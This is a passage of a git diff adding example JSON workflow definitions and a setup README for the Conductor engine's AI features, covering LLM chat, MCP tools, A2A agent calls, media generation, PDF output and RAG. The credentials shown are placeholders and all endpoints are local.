"LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-3-5-sonnet-20241022", + "messages": [ + { + "role": "system", + "message": "You are an AI agent. Available tools: ${discover_tools.output.tools}. User wants to: ${workflow.input.task}" + }, + { + "role": "user", + "message": "Which tool should I use and what parameters? Respond with JSON: {method: string, arguments: object}" + } + ], + "temperature": 0.1, + "maxTokens": 500 + } + }, + { + "name": "execute_tool", + "taskReferenceName": "execute", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp", + "method": "${plan.output.result.method}", + "arguments": "${plan.output.result.arguments}" + } + }, + { + "name": "summarize_result", + "taskReferenceName": "summarize", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "user", + "message": "Summarize this result for the user: ${execute.output.content}" + } + ], + "maxTokens": 200 + } + } + ] +} diff --git a/ai/examples/11-a2a-get-agent-card.json b/ai/examples/11-a2a-get-agent-card.json new file mode 100644 index 0000000..647e711 --- /dev/null +++ b/ai/examples/11-a2a-get-agent-card.json @@ -0,0 +1,15 @@ +{ + "name": "a2a_get_agent_card_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "discover_agent", + "taskReferenceName": "discover", + "type": "GET_AGENT_CARD", + "inputParameters": { + "agentUrl": "http://localhost:9999" + } + } + ] +} diff --git a/ai/examples/11-video-openai-sora.json b/ai/examples/11-video-openai-sora.json new file mode 100644 index 0000000..dfe6974 --- /dev/null +++ b/ai/examples/11-video-openai-sora.json @@ -0,0 +1,22 @@ +{ + "name": "video_gen_openai_sora", + "description": "Generates a video using OpenAI Sora. The task is async -- it submits a job and polls until the video is ready.", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_video", + "taskReferenceName": "sora_video", + "type": "GENERATE_VIDEO", + "inputParameters": { + "llmProvider": "openai", + "model": "sora-2", + "prompt": "A slow cinematic aerial shot of a coastal city at golden hour, waves crashing against cliffs", + "duration": 8, + "size": "1280x720", + "n": 1, + "style": "cinematic" + } + } + ] +} diff --git a/ai/examples/12-a2a-server-workflow.json b/ai/examples/12-a2a-server-workflow.json new file mode 100644 index 0000000..874a98e --- /dev/null +++ b/ai/examples/12-a2a-server-workflow.json @@ -0,0 +1,23 @@ +{ + "name": "order_pizza", + "version": 1, + "schemaVersion": 2, + "description": "Takes a pizza order — exposed as an A2A agent via metadata.a2a.enabled", + "ownerEmail": "a2a@example.com", + "metadata": { + "a2a.enabled": true, + "a2a.tags": ["ordering", "demo"] + }, + "tasks": [ + { + "name": "confirm_order", + "taskReferenceName": "confirm", + "type": "INLINE", + "inputParameters": { + "evaluatorType": "graaljs", + "expression": "({ orderId: 'ORD-' + ($.text || 'unknown') })", + "text": "${workflow.input._a2a_text}" + } + } + ] +} diff --git a/ai/examples/12-video-gemini-veo.json b/ai/examples/12-video-gemini-veo.json new file mode 100644 index 0000000..4116225 --- /dev/null +++ b/ai/examples/12-video-gemini-veo.json @@ -0,0 +1,25 @@ +{ + "name": "video_gen_gemini_veo", + "description": "Generates a video using Google Gemini Veo. Supports negative prompts, person generation controls, and optional audio generation.", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_video", + "taskReferenceName": "veo_video", + "type": "GENERATE_VIDEO", + "inputParameters": { + "llmProvider": "vertex_ai", + "model": "veo-3", + "prompt": "A time-lapse of a blooming flower in a sunlit garden, soft bokeh background", + "duration": 8, + "aspectRatio": "16:9", + "resolution": "720p", + "personGeneration": "dont_allow", + "generateAudio": true, + "negativePrompt": "blurry, low quality, text overlay", + "n": 1 + } + } + ] +} diff --git a/ai/examples/13-image-to-video-pipeline.json b/ai/examples/13-image-to-video-pipeline.json new file mode 100644 index 0000000..98f3b5f --- /dev/null +++ b/ai/examples/13-image-to-video-pipeline.json @@ -0,0 +1,34 @@ +{ + "name": "image_to_video_pipeline", + "description": "A two-step creative pipeline: generates a still image with DALL-E, then creates a video continuation using OpenAI Sora with a prompt inspired by the scene.", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_image", + "taskReferenceName": "source_image", + "type": "GENERATE_IMAGE", + "inputParameters": { + "llmProvider": "openai", + "model": "dall-e-3", + "prompt": "A serene mountain lake at dawn with mist rising from the water, photorealistic, wide landscape", + "width": 1792, + "height": 1024, + "n": 1 + } + }, + { + "name": "generate_video", + "taskReferenceName": "animated_video", + "type": "GENERATE_VIDEO", + "inputParameters": { + "llmProvider": "openai", + "model": "sora-2", + "prompt": "A serene mountain lake at dawn, gentle ripples spread across the water as mist slowly drifts, birds flying in the distance, cinematic slow motion", + "duration": 8, + "size": "1280x720", + "style": "cinematic" + } + } + ] +} diff --git a/ai/examples/14-stabilityai-image.json b/ai/examples/14-stabilityai-image.json new file mode 100644 index 0000000..700fc61 --- /dev/null +++ b/ai/examples/14-stabilityai-image.json @@ -0,0 +1,22 @@ +{ + "name": "image_gen_stabilityai", + "description": "Generates an image using Stability AI's SD3.5 Large model via the v2beta API.", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_image", + "taskReferenceName": "stable_diffusion_image", + "type": "GENERATE_IMAGE", + "inputParameters": { + "llmProvider": "stabilityai", + "model": "sd3.5-large", + "prompt": "A fantasy castle perched on a floating island surrounded by clouds, digital art, highly detailed", + "width": 1024, + "height": 1024, + "n": 1, + "style": "cinematic" + } + } + ] +} diff --git a/ai/examples/15-pdf-generation.json b/ai/examples/15-pdf-generation.json new file mode 100644 index 0000000..ab2d6ca --- /dev/null +++ b/ai/examples/15-pdf-generation.json @@ -0,0 +1,24 @@ +{ + "name": "pdf_generation_workflow", + "description": "Generate a PDF document from markdown content with custom layout options", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_pdf", + "taskReferenceName": "pdf", + "type": "GENERATE_PDF", + "inputParameters": { + "markdown": "# Monthly Sales Report\n\n## Executive Summary\n\nThis report covers sales performance for **Q4 2025**.\n\n| Region | Revenue | Growth |\n|--------|---------|--------|\n| North America | $2.4M | +12% |\n| Europe | $1.8M | +8% |\n| Asia Pacific | $1.2M | +15% |\n\n## Key Highlights\n\n- Total revenue reached **$5.4M**, exceeding target by 10%\n- Customer acquisition increased by *23%* across all regions\n- Product satisfaction score: **4.7/5.0**\n\n## Action Items\n\n1. Expand APAC sales team by Q1 2026\n2. Launch enterprise tier in European market\n3. Increase marketing budget for North America\n\n> *\"Our best quarter yet -- the team delivered exceptional results across every metric.\"* -- VP of Sales\n\n---\n\nGenerated by Conductor Workflow Engine", + "pageSize": "LETTER", + "theme": "default", + "baseFontSize": 11, + "pdfMetadata": { + "title": "Monthly Sales Report - Q4 2025", + "author": "Conductor Workflow", + "subject": "Quarterly Sales Performance" + } + } + } + ] +} diff --git a/ai/examples/16-llm-to-pdf-pipeline.json b/ai/examples/16-llm-to-pdf-pipeline.json new file mode 100644 index 0000000..bd29136 --- /dev/null +++ b/ai/examples/16-llm-to-pdf-pipeline.json @@ -0,0 +1,51 @@ +{ + "name": "llm_to_pdf_pipeline", + "description": "End-to-end pipeline: LLM generates a markdown report from user input, then converts it to a PDF document", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["topic", "audience"], + "tasks": [ + { + "name": "generate_report_markdown", + "taskReferenceName": "llm_report", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are a professional report writer. Generate well-structured markdown reports with headings, tables, bullet points, and bold/italic emphasis. Always include an executive summary, key findings, and recommendations sections." + }, + { + "role": "user", + "message": "Write a detailed report about: ${workflow.input.topic}\n\nTarget audience: ${workflow.input.audience}\n\nUse markdown formatting with:\n- A clear title (# heading)\n- Executive summary section\n- Key findings with a data table\n- Bullet-point recommendations\n- A blockquote conclusion" + } + ], + "temperature": 0.7, + "maxTokens": 2000 + } + }, + { + "name": "convert_to_pdf", + "taskReferenceName": "pdf_output", + "type": "GENERATE_PDF", + "inputParameters": { + "markdown": "${llm_report.output.result}", + "pageSize": "A4", + "theme": "default", + "baseFontSize": 11, + "pdfMetadata": { + "title": "${workflow.input.topic}", + "author": "Conductor AI Pipeline", + "subject": "Auto-generated report" + } + } + } + ], + "outputParameters": { + "reportMarkdown": "${llm_report.output.result}", + "pdfLocation": "${pdf_output.output.result.location}", + "pdfSizeBytes": "${pdf_output.output.result.sizeBytes}" + } +} diff --git a/ai/examples/17-web-search.json b/ai/examples/17-web-search.json new file mode 100644 index 0000000..d7e772f --- /dev/null +++ b/ai/examples/17-web-search.json @@ -0,0 +1,34 @@ +{ + "name": "web_search_workflow", + "description": "Chat completion with built-in web search — the LLM can search the web for real-time information", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["question"], + "tasks": [ + { + "name": "web_search_chat", + "taskReferenceName": "chat", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are a helpful research assistant. Use web search to find current information." + }, + { + "role": "user", + "message": "${workflow.input.question}" + } + ], + "webSearch": true, + "temperature": 0.3, + "maxTokens": 1000 + } + } + ], + "outputParameters": { + "answer": "${chat.output.result}" + } +} diff --git a/ai/examples/18-code-execution.json b/ai/examples/18-code-execution.json new file mode 100644 index 0000000..bbdaffc --- /dev/null +++ b/ai/examples/18-code-execution.json @@ -0,0 +1,34 @@ +{ + "name": "code_execution_workflow", + "description": "Chat completion with built-in code execution — the LLM can write and run code in a sandbox", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["task"], + "tasks": [ + { + "name": "code_execution_chat", + "taskReferenceName": "chat", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "google_gemini", + "model": "gemini-2.5-flash", + "messages": [ + { + "role": "system", + "message": "You are a data analyst. Use code execution to compute results, generate charts, and analyze data." + }, + { + "role": "user", + "message": "${workflow.input.task}" + } + ], + "codeInterpreter": true, + "temperature": 0.2, + "maxTokens": 2000 + } + } + ], + "outputParameters": { + "result": "${chat.output.result}" + } +} diff --git a/ai/examples/19-coding-agent.json b/ai/examples/19-coding-agent.json new file mode 100644 index 0000000..31f34dc --- /dev/null +++ b/ai/examples/19-coding-agent.json @@ -0,0 +1,78 @@ +{ + "name": "coding_agent", + "description": "A coding agent that uses OpenAI code_interpreter to write, run, and iterate on code", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["task"], + "tasks": [ + { + "name": "plan_implementation", + "taskReferenceName": "plan", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + { + "role": "system", + "message": "You are a senior software engineer. Break down the coding task into clear steps. Output a numbered plan." + }, + { + "role": "user", + "message": "${workflow.input.task}" + } + ], + "temperature": 0.2, + "maxTokens": 1000 + } + }, + { + "name": "write_and_run_code", + "taskReferenceName": "code", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + { + "role": "system", + "message": "You are a coding assistant with access to a code execution sandbox. Write the code, run it, verify the output, and fix any errors. Return the final working code and its output." + }, + { + "role": "user", + "message": "Implementation plan:\n${plan.output.result}\n\nOriginal task: ${workflow.input.task}\n\nWrite the code, execute it, and return the working result." + } + ], + "codeInterpreter": true, + "temperature": 0.1, + "maxTokens": 4000 + } + }, + { + "name": "review_code", + "taskReferenceName": "review", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are a code reviewer. Review the implementation for correctness, edge cases, and code quality. Provide a brief summary of what was built and any suggestions." + }, + { + "role": "user", + "message": "Task: ${workflow.input.task}\n\nImplementation:\n${code.output.result}" + } + ], + "temperature": 0.3, + "maxTokens": 1000 + } + } + ], + "outputParameters": { + "plan": "${plan.output.result}", + "code": "${code.output.result}", + "review": "${review.output.result}" + } +} diff --git a/ai/examples/20-extended-thinking.json b/ai/examples/20-extended-thinking.json new file mode 100644 index 0000000..fcbc90f --- /dev/null +++ b/ai/examples/20-extended-thinking.json @@ -0,0 +1,29 @@ +{ + "name": "extended_thinking_workflow", + "description": "Chat completion with extended thinking — gives the LLM a token budget for step-by-step reasoning", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["problem"], + "tasks": [ + { + "name": "think_deeply", + "taskReferenceName": "think", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { + "role": "user", + "message": "${workflow.input.problem}" + } + ], + "thinkingTokenLimit": 10000, + "maxTokens": 16000 + } + } + ], + "outputParameters": { + "answer": "${think.output.result}" + } +} diff --git a/ai/examples/21-web-search-research-agent.json b/ai/examples/21-web-search-research-agent.json new file mode 100644 index 0000000..f6747d1 --- /dev/null +++ b/ai/examples/21-web-search-research-agent.json @@ -0,0 +1,70 @@ +{ + "name": "web_research_agent", + "description": "An autonomous research agent that uses web search to gather information and synthesize a report", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["topic"], + "tasks": [ + { + "name": "gather_information", + "taskReferenceName": "research", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + { + "role": "system", + "message": "You are a research analyst. Use web search to find comprehensive, current information about the topic. Search for multiple perspectives and recent developments." + }, + { + "role": "user", + "message": "Research this topic thoroughly: ${workflow.input.topic}" + } + ], + "webSearch": true, + "temperature": 0.3, + "maxTokens": 3000 + } + }, + { + "name": "synthesize_report", + "taskReferenceName": "report", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { + "role": "system", + "message": "You are a technical writer. Synthesize the research into a well-structured markdown report with sections, key findings, and citations." + }, + { + "role": "user", + "message": "Topic: ${workflow.input.topic}\n\nResearch findings:\n${research.output.result}\n\nWrite a comprehensive report in markdown format." + } + ], + "thinkingTokenLimit": 5000, + "maxTokens": 8000 + } + }, + { + "name": "convert_to_pdf", + "taskReferenceName": "pdf", + "type": "GENERATE_PDF", + "inputParameters": { + "markdown": "${report.output.result}", + "pageSize": "A4", + "theme": "default", + "pdfMetadata": { + "title": "${workflow.input.topic}", + "author": "Conductor Research Agent" + } + } + } + ], + "outputParameters": { + "report": "${report.output.result}", + "pdf": "${pdf.output.result.location}" + } +} diff --git a/ai/examples/22-multi-turn-chain.json b/ai/examples/22-multi-turn-chain.json new file mode 100644 index 0000000..28d25eb --- /dev/null +++ b/ai/examples/22-multi-turn-chain.json @@ -0,0 +1,52 @@ +{ + "name": "multi_turn_chain", + "description": "Two-step conversation using previousResponseId to avoid resending history", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["topic"], + "tasks": [ + { + "name": "first_turn", + "taskReferenceName": "turn1", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + { + "role": "system", + "message": "You are a technical architect. Be concise." + }, + { + "role": "user", + "message": "Design a high-level architecture for: ${workflow.input.topic}" + } + ], + "temperature": 0.3, + "maxTokens": 2000 + } + }, + { + "name": "follow_up", + "taskReferenceName": "turn2", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + { + "role": "user", + "message": "Now list the key risks and mitigations for this architecture." + } + ], + "previousResponseId": "${turn1.output.responseId}", + "temperature": 0.3, + "maxTokens": 2000 + } + } + ], + "outputParameters": { + "architecture": "${turn1.output.result}", + "risks": "${turn2.output.result}" + } +} diff --git a/ai/examples/23-a2a-streaming.json b/ai/examples/23-a2a-streaming.json new file mode 100644 index 0000000..633ed54 --- /dev/null +++ b/ai/examples/23-a2a-streaming.json @@ -0,0 +1,19 @@ +{ + "name": "a2a_agent_streaming", + "version": 1, + "schemaVersion": 2, + "description": "Calls a remote agent in streaming mode — consumes the agent's message/stream (SSE) and aggregates events to completion. Requires the agent card to advertise capabilities.streaming=true.", + "ownerEmail": "a2a@example.com", + "tasks": [ + { + "name": "stream_from_agent", + "taskReferenceName": "agent", + "type": "AGENT", + "inputParameters": { + "agentUrl": "http://localhost:9999", + "text": "summarize the attached document", + "streaming": true + } + } + ] +} diff --git a/ai/examples/24-a2a-push.json b/ai/examples/24-a2a-push.json new file mode 100644 index 0000000..3aa03ed --- /dev/null +++ b/ai/examples/24-a2a-push.json @@ -0,0 +1,21 @@ +{ + "name": "a2a_agent_push", + "version": 1, + "schemaVersion": 2, + "description": "Calls a remote agent in push mode — the agent calls Conductor's webhook when the task reaches a terminal state, so no worker thread polls. Requires conductor.a2a.callback.url to be set (otherwise it falls back to polling). A slow backstop poll still runs so a lost webhook can't hang the task.", + "ownerEmail": "a2a@example.com", + "tasks": [ + { + "name": "call_research_agent", + "taskReferenceName": "agent", + "type": "AGENT", + "inputParameters": { + "agentUrl": "http://localhost:9999", + "text": "research the latest on durable agent protocols", + "pushNotification": true, + "pushBackstopPollSeconds": 300, + "maxDurationSeconds": 3600 + } + } + ] +} diff --git a/ai/examples/25-a2a-server-multi-turn.json b/ai/examples/25-a2a-server-multi-turn.json new file mode 100644 index 0000000..1ca6476 --- /dev/null +++ b/ai/examples/25-a2a-server-multi-turn.json @@ -0,0 +1,28 @@ +{ + "name": "book_appointment", + "version": 1, + "schemaVersion": 2, + "description": "Multi-turn A2A agent: asks a clarifying question (HUMAN task → A2A 'input-required'), then confirms. Exposed via metadata.a2a.enabled. A client resumes it by sending another message/send carrying the returned task id; that follow-up completes the HUMAN task and the workflow continues.", + "ownerEmail": "a2a@example.com", + "metadata": { + "a2a.enabled": true, + "a2a.tags": ["scheduling", "multi-turn"] + }, + "tasks": [ + { + "name": "ask_preferred_time", + "taskReferenceName": "ask", + "type": "HUMAN" + }, + { + "name": "confirm_appointment", + "taskReferenceName": "confirm", + "type": "INLINE", + "inputParameters": { + "evaluatorType": "graaljs", + "expression": "({ status: 'confirmed', when: $.when })", + "when": "${ask.output._a2a_text}" + } + } + ] +} diff --git a/ai/examples/26-a2a-cancel.json b/ai/examples/26-a2a-cancel.json new file mode 100644 index 0000000..98fc27a --- /dev/null +++ b/ai/examples/26-a2a-cancel.json @@ -0,0 +1,28 @@ +{ + "name": "a2a_cancel_agent", + "version": 1, + "schemaVersion": 2, + "description": "Starts work on a remote agent (AGENT) then cancels it (CANCEL_AGENT → A2A tasks/cancel), passing the remote task id from the first task's output. Illustrative — cancel is typically wired into fork/timeout or compensation flows.", + "ownerEmail": "a2a@example.com", + "tasks": [ + { + "name": "start_agent_task", + "taskReferenceName": "start", + "type": "AGENT", + "inputParameters": { + "agentUrl": "http://localhost:9999", + "text": "begin a long-running job", + "maxDurationSeconds": 60 + } + }, + { + "name": "cancel_agent_task", + "taskReferenceName": "cancel", + "type": "CANCEL_AGENT", + "inputParameters": { + "agentUrl": "http://localhost:9999", + "taskId": "${start.output.taskId}" + } + } + ] +} diff --git a/ai/examples/27-a2a-multi-agent.json b/ai/examples/27-a2a-multi-agent.json new file mode 100644 index 0000000..d0ca34b --- /dev/null +++ b/ai/examples/27-a2a-multi-agent.json @@ -0,0 +1,44 @@ +{ + "name": "a2a_multi_agent_orchestration", + "version": 1, + "schemaVersion": 2, + "description": "Durable multi-agent orchestration: call several remote A2A agents in parallel with FORK_JOIN, then JOIN their results. Each branch is an independent, crash-safe AGENT — if Conductor restarts mid-flight, every in-flight agent call resumes.", + "ownerEmail": "a2a@example.com", + "tasks": [ + { + "name": "fork_agents", + "taskReferenceName": "fork", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "call_flights_agent", + "taskReferenceName": "flights", + "type": "AGENT", + "inputParameters": { + "agentUrl": "${workflow.input.flightsAgentUrl}", + "text": "Find flights for: ${workflow.input.request}" + } + } + ], + [ + { + "name": "call_hotels_agent", + "taskReferenceName": "hotels", + "type": "AGENT", + "inputParameters": { + "agentUrl": "${workflow.input.hotelsAgentUrl}", + "text": "Find hotels for: ${workflow.input.request}" + } + } + ] + ] + }, + { + "name": "join_agents", + "taskReferenceName": "join", + "type": "JOIN", + "joinOn": ["flights", "hotels"] + } + ] +} diff --git a/ai/examples/28-a2a-llm-pick-skill.json b/ai/examples/28-a2a-llm-pick-skill.json new file mode 100644 index 0000000..da58482 --- /dev/null +++ b/ai/examples/28-a2a-llm-pick-skill.json @@ -0,0 +1,35 @@ +{ + "name": "a2a_llm_pick_skill", + "version": 1, + "schemaVersion": 2, + "description": "Agentic A2A: discover a remote agent's Agent Card (GET_AGENT_CARD), let an LLM choose the best prompt from the advertised skills (LLM_CHAT_COMPLETE), then call the agent (AGENT). Discovery + reasoning + invocation, all durable.", + "ownerEmail": "a2a@example.com", + "tasks": [ + { + "name": "discover_agent", + "taskReferenceName": "discover", + "type": "GET_AGENT_CARD", + "inputParameters": { "agentUrl": "${workflow.input.agentUrl}" } + }, + { + "name": "choose_request", + "taskReferenceName": "choose", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "${workflow.input.llmProvider}", + "model": "${workflow.input.model}", + "instructions": "You are given an A2A agent's Agent Card (its skills) and a user goal. Reply with ONLY the single best prompt to send that agent.", + "userInput": "Agent card: ${discover.output.agentCard}\nUser goal: ${workflow.input.goal}" + } + }, + { + "name": "call_agent", + "taskReferenceName": "call", + "type": "AGENT", + "inputParameters": { + "agentUrl": "${workflow.input.agentUrl}", + "text": "${choose.output.result}" + } + } + ] +} diff --git a/ai/examples/29-a2a-client-multi-turn.json b/ai/examples/29-a2a-client-multi-turn.json new file mode 100644 index 0000000..ded1a12 --- /dev/null +++ b/ai/examples/29-a2a-client-multi-turn.json @@ -0,0 +1,42 @@ +{ + "name": "a2a_client_multi_turn", + "version": 1, + "schemaVersion": 2, + "description": "Client-side multi-turn conversation: call a remote agent; if it returns input-required, branch (SWITCH on the agent's state) and call again with the SAME contextId/taskId carrying the answer — resuming the same remote task.", + "ownerEmail": "a2a@example.com", + "tasks": [ + { + "name": "ask_agent", + "taskReferenceName": "ask", + "type": "AGENT", + "inputParameters": { + "agentUrl": "${workflow.input.agentUrl}", + "text": "${workflow.input.prompt}" + } + }, + { + "name": "branch_on_state", + "taskReferenceName": "branch", + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "state", + "inputParameters": { "state": "${ask.output.state}" }, + "decisionCases": { + "input-required": [ + { + "name": "answer_agent", + "taskReferenceName": "answer", + "type": "AGENT", + "inputParameters": { + "agentUrl": "${workflow.input.agentUrl}", + "text": "${workflow.input.answer}", + "contextId": "${ask.output.contextId}", + "taskId": "${ask.output.taskId}" + } + } + ] + }, + "defaultCase": [] + } + ] +} diff --git a/ai/examples/30-rag-sqlite-vec.json b/ai/examples/30-rag-sqlite-vec.json new file mode 100644 index 0000000..e892d5d --- /dev/null +++ b/ai/examples/30-rag-sqlite-vec.json @@ -0,0 +1,96 @@ +{ + "name": "rag_sqlite_vec_demo", + "description": "Zero-infrastructure RAG using the bundled SQLite + sqlite-vec vector store. Requires conductor.db.type=sqlite and conductor.integrations.ai.enabled=true, which auto-registers the 'default' vector DB instance. Embeddings are requested at 256 dimensions to match the default instance.", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "index_doc_1", + "taskReferenceName": "index_doc_1_ref", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "default", + "index": "demo_index", + "namespace": "demo_docs", + "docId": "intro-001", + "text": "Conductor is a distributed workflow orchestration engine. It lets developers build complex stateful applications by orchestrating microservices and AI agents.", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 256, + "metadata": { "category": "introduction" } + } + }, + { + "name": "index_doc_2", + "taskReferenceName": "index_doc_2_ref", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "default", + "index": "demo_index", + "namespace": "demo_docs", + "docId": "vectordb-002", + "text": "Conductor supports several vector databases: PostgreSQL (pgvector), MongoDB Atlas, Pinecone, and an embedded SQLite backend powered by the sqlite-vec extension that needs no external server.", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 256, + "metadata": { "category": "features" } + } + }, + { + "name": "index_doc_3", + "taskReferenceName": "index_doc_3_ref", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "default", + "index": "demo_index", + "namespace": "demo_docs", + "docId": "sqlite-003", + "text": "When SQLite persistence and the AI integration are both enabled, Conductor bundles the sqlite-vec native extension and registers a default vector store automatically, so semantic search works out of the box.", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 256, + "metadata": { "category": "configuration" } + } + }, + { + "name": "search_index", + "taskReferenceName": "search_ref", + "type": "LLM_SEARCH_INDEX", + "inputParameters": { + "vectorDB": "default", + "index": "demo_index", + "namespace": "demo_docs", + "query": "${workflow.input.question}", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 256, + "maxResults": 3 + } + }, + { + "name": "generate_rag_answer", + "taskReferenceName": "answer_ref", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are a technical expert. Answer the question using only the provided context." + }, + { + "role": "user", + "message": "Context:\n${search_ref.output.result}\n\nQuestion: ${workflow.input.question}" + } + ], + "temperature": 0.2 + } + } + ], + "inputParameters": ["question"], + "outputParameters": { + "search_results": "${search_ref.output.result}", + "answer": "${answer_ref.output.result}" + } +} diff --git a/ai/examples/README.md b/ai/examples/README.md new file mode 100644 index 0000000..ded7cd3 --- /dev/null +++ b/ai/examples/README.md @@ -0,0 +1,545 @@ +# Conductor AI Workflow Examples + +This folder contains ready-to-use workflow examples demonstrating the AI capabilities of Conductor. + +## Prerequisites + +### 1. Start Conductor Server + +Ensure Conductor is running with AI integrations enabled: + +```bash +# From the conductor root directory +./gradlew bootRun +``` + +### 2. Configure AI Providers + +Set environment variables before starting the server: + +```bash +# OpenAI (required for most examples) +export OPENAI_API_KEY=sk-your-openai-api-key + +# Anthropic (optional, for RAG examples) +export ANTHROPIC_API_KEY=sk-ant-your-anthropic-key + +# Google Gemini (optional, for Gemini/Veo examples) +# Option 1: API key (simplest) +export GEMINI_API_KEY=your-gemini-api-key +# Option 2: Vertex AI — set project and location in application.properties +``` + +For vector database examples, add to `application.properties`: + +```properties +# PostgreSQL Vector DB (for RAG/embedding examples) +conductor.vectordb.instances[0].name=postgres-prod +conductor.vectordb.instances[0].type=postgres +conductor.vectordb.instances[0].postgres.datasourceURL=jdbc:postgresql://localhost:5432/vectors +conductor.vectordb.instances[0].postgres.user=conductor +conductor.vectordb.instances[0].postgres.password=secret +conductor.vectordb.instances[0].postgres.dimensions=1536 +``` + +### 3. MCP Test Server (for MCP examples) + +Install and start the MCP test server: + +```bash +# Install mcp-testkit — a test MCP server with 65 deterministic tools +pip install mcp-testkit + +# Start the server in HTTP mode +mcp-testkit --transport http +``` + +The server will be available at `http://localhost:3001/mcp`. + +--- + +## Available Examples + +| File | Description | Requirements | +|------|-------------|--------------| +| `01-chat-completion.json` | Basic chat with GPT-4o-mini | OpenAI | +| `02-generate-embeddings.json` | Generate text embeddings | OpenAI | +| `03-image-generation.json` | Generate images with DALL-E 3 | OpenAI | +| `04-audio-generation.json` | Text-to-speech with OpenAI TTS | OpenAI | +| `05-semantic-search.json` | Index and search documents | OpenAI, PostgreSQL | +| `06-rag-basic.json` | Basic RAG with search + answer | OpenAI/Anthropic, PostgreSQL | +| `07-rag-complete.json` | Full RAG demo (index + search + answer) | OpenAI, PostgreSQL | +| `08-mcp-list-tools.json` | List tools from MCP server | MCP Server | +| `09-mcp-call-tool.json` | Call MCP tool (weather) | MCP Server | +| `10-mcp-ai-agent.json` | AI agent with MCP tools | OpenAI/Anthropic, MCP Server | +| `11-video-openai-sora.json` | Generate video with OpenAI Sora-2 (async) | OpenAI | +| `12-video-gemini-veo.json` | Generate video with Google Veo-3 (async) | Google Vertex AI | +| `13-image-to-video-pipeline.json` | Image + video generation pipeline | OpenAI | +| `14-stabilityai-image.json` | Image generation with Stability AI (SD3.5) | Stability AI | +| `15-pdf-generation.json` | Generate PDF from markdown content | None (built-in) | +| `16-llm-to-pdf-pipeline.json` | LLM generates report → convert to PDF | OpenAI | +| `17-web-search.json` | Chat with built-in web search for real-time info | OpenAI | +| `18-code-execution.json` | Chat with built-in code execution sandbox | Google Gemini | +| `19-coding-agent.json` | Coding agent: plan → write & run code → review | OpenAI | +| `20-extended-thinking.json` | Extended thinking with token budget for reasoning | Anthropic | +| `21-web-search-research-agent.json` | Research agent: web search → synthesize → PDF | OpenAI, Anthropic | +| `22-multi-turn-chain.json` | Multi-turn conversation chaining with previousResponseId | OpenAI | +| `30-rag-sqlite-vec.json` | Zero-infra RAG on the bundled SQLite + sqlite-vec store | OpenAI, SQLite (built-in) | + +### A2A (Agent2Agent) examples + +Conductor as an A2A **client** (calling remote agents) and **server** (exposing a workflow as an +agent). The client tasks (`AGENT`, `GET_AGENT_CARD`, `CANCEL_AGENT`) need a reachable A2A +agent — see `ai/src/test/resources/a2a/` for a runnable test agent. The server examples are exposed +by registering them with `metadata.a2a.enabled=true` and `conductor.a2a.server.enabled=true`. + +| File | Description | Requirements | +|------|-------------|--------------| +| `10-a2a-call-agent.json` | Call a remote agent (poll mode) | A2A agent | +| `11-a2a-get-agent-card.json` | Discover an agent's skills/capabilities | A2A agent | +| `12-a2a-server-workflow.json` | Expose a workflow as an A2A agent (server) | `conductor.a2a.server.enabled=true` | +| `23-a2a-streaming.json` | Call an agent in streaming (SSE) mode | A2A 